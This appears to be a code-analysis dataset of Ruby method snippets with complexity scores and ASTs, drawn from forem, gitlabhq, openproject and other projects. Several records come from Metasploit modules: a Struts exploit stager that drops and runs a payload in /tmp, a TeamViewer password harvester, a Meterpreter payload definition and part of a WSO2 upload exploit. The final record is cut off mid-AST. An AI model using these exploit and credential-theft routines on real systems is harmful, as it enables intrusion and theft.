{"repo_name":"forem","file_path":"./repos/forem/app/helpers/application_helper.rb","start_line":362,"raw_source":"def constructed_full_url(path, subforem_id)\n    return path unless subforem_id.present?\n\n    domain = Subforem.cached_id_to_domain_hash[subforem_id]\n    \"#{URL.protocol}#{domain}#{path}\"\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"constructed_full_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"subforem_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subforem_id\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"cached_id_to_domain_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"subforem_id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL\"]},\"protocol\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"0f3ed45a-d862-43d9-9887-dda7e62d7525"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/articles_controller.rb","start_line":103,"raw_source":"def articles_chronological\n      Article.published.from_subforem\n        .includes(user: [:notes])\n        .limited_columns_internal_select\n        .order(published_at: :desc)\n        .page(params[:page])\n        .per(50)\n    end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"articles_chronological\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"published\"]},\"from_subforem\"]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"notes\"]}]}]}]}]},\"limited_columns_internal_select\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"int\",\"children\":[50]}]}]}","id":"8d71d0a3-a63a-4ed8-aabd-5c31fe690a7f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/spec/models/burndown_spec.rb","start_line":32,"raw_source":"def set_attribute_journalized(story, attribute, value, day)\n    story.reload\n    story.send(attribute, value)\n    story.save!\n    story.journals[-2].update_columns(validity_period: story.journals[-2].created_at...day) if story.journals.count > 1\n    story.journals[-1].update_columns(created_at: day, updated_at: day, validity_period: day..Float::INFINITY)\n  end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_attribute_journalized\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"story\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"day\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"save!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"journals\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"journals\"]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validity_period\"]},{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"journals\"]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]},\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"day\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"journals\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validity_period\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"day\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]}]}]}]}]}]}]}","id":"49841af5-8981-4cd5-9350-d5f8e4ec302f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts_code_exec.rb","start_line":111,"raw_source":"def linux_stager\n    cmds = \"/bin/sh@-c@echo LINE | tee FILE\"\n    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)\n    base64 = Rex::Text.encode_base64(exe)\n    base64.gsub!(/\\=/, \"\\\\u003d\")\n    file = rand_text_alphanumeric(4 + rand(4))\n\n    execute_command(\"/bin/sh@-c@touch /tmp/#{file}.b64\")\n    cmds.gsub!(/FILE/, \"/tmp/\" + file + \".b64\")\n    base64.each_line do |line|\n      line.chomp!\n      cmd = cmds\n      cmd.gsub!(/LINE/, line)\n      execute_command(cmds)\n    end\n\n    execute_command(\"/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}\")\n    execute_command(\"/bin/sh@-c@chmod +x /tmp/#{file}\")\n    execute_command(\"/bin/sh@-c@rm /tmp/#{file}.b64\")\n\n    execute_command(\"/bin/sh@-c@/tmp/#{file}\")\n    @payload_exe = \"/tmp/\" + file\n  end","complexity_score":32.55,"ast_json":"{\"type\":\"def\",\"children\":[\"linux_stager\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmds\",{\"type\":\"str\",\"children\":[\"/bin/sh@-c@echo LINE | tee FILE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"EXE\"]},\"to_linux_x86_elf\",{\"type\":\"send\",\"children\":[null,\"framework\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"raw\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"exe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base64\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\=\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\u003d\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/sh@-c@touch /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\".b64\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmds\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"FILE\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/tmp/\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},\"+\",{\"type\":\"str\",\"children\":[\".b64\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base64\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"chomp!\"]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"lvar\",\"children\":[\"cmds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"LINE\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"lvar\",\"children\":[\"cmds\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/sh@-c@base64 -d /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\".b64|tee /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/sh@-c@chmod +x /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/sh@-c@rm /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\".b64\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/sh@-c@/tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload_exe\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/tmp/\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}","id":"43632c1c-39bd-4cc2-a702-b0e066fc5fbe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/teamviewer_passwords.rb","start_line":202,"raw_source":"def run\n    print_status(\"Finding TeamViewer Passwords on #{sysinfo['Computer']}\")\n    app_list\n\n    print_status('<---------------- | Using Window Technique | ---------------->')\n    parent_key = 'HKEY_CURRENT_USER\\\\Software\\\\TeamViewer'\n    language = registry_getvaldata(parent_key, 'SelectedLanguage')\n    version = registry_getvaldata(parent_key, 'IntroscreenShownVersion')\n    print_status(\"TeamViewer's language setting options are '#{language}'\")\n    print_status(\"TeamViewer's version is '#{version}'\")\n    hwnd = client.railgun.user32.FindWindowW('#32770', datastore['WINDOW_TITLE'])['return']\n\n    #  Try to get window handle through registry\n    if !hwnd\n      hwnd = registry_getvaldata(parent_key, 'MainWindowHandle')\n    end\n    if hwnd != 0\n      print_good(\"TeamViewer's  title is '#{get_window_text(hwnd)}'\")\n      enum_id_and_password(hwnd)\n      enum_email_and_password(hwnd)\n    else\n      if !session.sys.process.each_process.find { |i| i['name'].downcase == 'TeamViewer.exe'.downcase }\n        print_error('Unable to find TeamViewer\\'s process')\n        return false\n      end\n      print_error('Unable to find TeamViewer\\'s window. Try to set window title')\n      return false\n    end\n  end","complexity_score":57.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Finding TeamViewer Passwords on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"app_list\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"<---------------- | Using Window Technique | ---------------->\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parent_key\",{\"type\":\"str\",\"children\":[\"HKEY_CURRENT_USER\\\\Software\\\\TeamViewer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"language\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"parent_key\"]},{\"type\":\"str\",\"children\":[\"SelectedLanguage\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"parent_key\"]},{\"type\":\"str\",\"children\":[\"IntroscreenShownVersion\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TeamViewer's language setting options are '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TeamViewer's version is '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hwnd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"railgun\"]},\"user32\"]},\"FindWindowW\",{\"type\":\"str\",\"children\":[\"#32770\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WINDOW_TITLE\"]}]}]},\"[]\",{\"type\":\"str\",\"children\":[\"return\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hwnd\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"hwnd\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"parent_key\"]},{\"type\":\"str\",\"children\":[\"MainWindowHandle\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hwnd\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TeamViewer's  title is '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_window_text\",{\"type\":\"lvar\",\"children\":[\"hwnd\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"enum_id_and_password\",{\"type\":\"lvar\",\"children\":[\"hwnd\"]}]},{\"type\":\"send\",\"children\":[null,\"enum_email_and_password\",{\"type\":\"lvar\",\"children\":[\"hwnd\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"each_process\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"downcase\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"TeamViewer.exe\"]},\"downcase\"]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to find TeamViewer's process\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to find TeamViewer's window. Try to set window title\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"add37746-0898-492b-98bd-1aeed4849fa4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/binary_reader.rb","start_line":116,"raw_source":"def ru(size, template)\n    readn(size).unpack(template).first\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ru\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]},{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"readn\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},\"unpack\",{\"type\":\"lvar\",\"children\":[\"template\"]}]},\"first\"]}]}","id":"8ce200a7-8e05-4629-8ec1-e1b6f1df538c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/discussion.rb","start_line":206,"raw_source":"def noteable_collection_name\n    noteable.class.underscore.pluralize\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"noteable_collection_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"class\"]},\"underscore\"]},\"pluralize\"]}]}","id":"f5011350-4269-4000-a5eb-48aa922ec010"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/merge_requests/user_mass_updates_spec.rb","start_line":115,"raw_source":"def change_status(text)\n    click_button 'Bulk edit'\n    check 'Select all'\n    select_from_listbox(text, from: 'Select state')\n    click_update_merge_requests_button\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Bulk edit\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"str\",\"children\":[\"Select all\"]}]},{\"type\":\"send\",\"children\":[null,\"select_from_listbox\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"str\",\"children\":[\"Select state\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_update_merge_requests_button\"]}]}]}","id":"9ee7fce0-3346-4ec1-bd8c-1155cee0fd12"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/mssql/tdssslproxy.rb","start_line":41,"raw_source":"def initialize(sock, sslkeylogfile: nil)\n    @tdssock = sock\n    @sslkeylogfile = sslkeylogfile\n    @s1, @s2 = Rex::Socket.tcp_socket_pair\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"kwoptarg\",\"children\":[\"sslkeylogfile\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tdssock\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sslkeylogfile\",{\"type\":\"lvar\",\"children\":[\"sslkeylogfile\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@s1\"]},{\"type\":\"ivasgn\",\"children\":[\"@s2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"tcp_socket_pair\"]}]}]}]}","id":"2b9c04f7-c963-47c0-aa98-5bc8fa3adb8e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service.rb","start_line":173,"raw_source":"def retireable?\n    return false unless provisioned?\n\n    # top level services do not have types; this method is used only in creating tasks for child services which always have types\n    # please see https://github.com/ManageIQ/manageiq/pull/17317#discussion_r186528878\n    parent.present? ? true : type.present?\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"retireable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provisioned?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"present?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"present?\"]}]}]}]}","id":"afd575a8-3137-4523-a7df-f4821c0c8c36"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_consistency.rb","start_line":172,"raw_source":"def check(node)\n          if style == :indented_internal_methods\n            check_indented_internal_methods_style(node)\n          else\n            check_normal_style(node)\n          end\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"indented_internal_methods\"]}]},{\"type\":\"send\",\"children\":[null,\"check_indented_internal_methods_style\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_normal_style\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"718de850-6927-41c1-ac9f-c9dfdb332b09"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/multi.rb","start_line":17,"raw_source":"def initialize(info={})\n    super(update_info(info,\n      'Name'          => 'Multi-Platform Meterpreter Payload',\n      'Description'   => 'Detect and generate the appropriate payload based on platform/arch',\n      'Author'        => ['OJ Reeves'],\n      'Platform'      => ['multi'],\n      'Arch'          => ARCH_ALL,\n      'Stage'         => {'Payload' => ''},\n      'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'},\n      ))\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Multi-Platform Meterpreter Payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Detect and generate the appropriate payload based on platform/arch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OJ Reeves\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"multi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ALL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stage\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadCompat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Convention\"]},{\"type\":\"str\",\"children\":[\"sockedi sockrdi http https\"]}]}]}]}]}]}]}]}","id":"367a8006-738e-4239-8de6-4d2a92b88d4a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb","start_line":277,"raw_source":"def create_product_api\n    @api_id = create_api['id']\n\n    product_api_data = {\n      'name' => Faker::App.name,\n      'context' => Faker::Internet.slug,\n      'policies' => ['Unlimited'],\n      'apis' => [\n        {\n          'name' => '',\n          'apiId' => @api_id,\n          'operations' => [],\n          'version' => '1.0.0'\n        }\n      ],\n      'transport' => ['http', 'https']\n    }\n\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),\n      'method' => 'POST',\n      'headers' => {\n        'Authorization' => \"Bearer #{bearer}\"\n      },\n      'ctype' => 'application/json',\n      'data' => product_api_data.to_json\n    )\n\n    fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201\n\n    @api_created = true\n\n    print_good('API Product created successfully')\n\n    return res.get_json_document\n  end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_product_api\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@api_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_api\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"product_api_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"App\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Internet\"]},\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"policies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unlimited\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"apis\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"apiId\"]},{\"type\":\"ivar\",\"children\":[\"@api_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"operations\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.0.0\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"transport\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"http\"]},{\"type\":\"str\",\"children\":[\"https\"]}]}]}]}]},{\"type\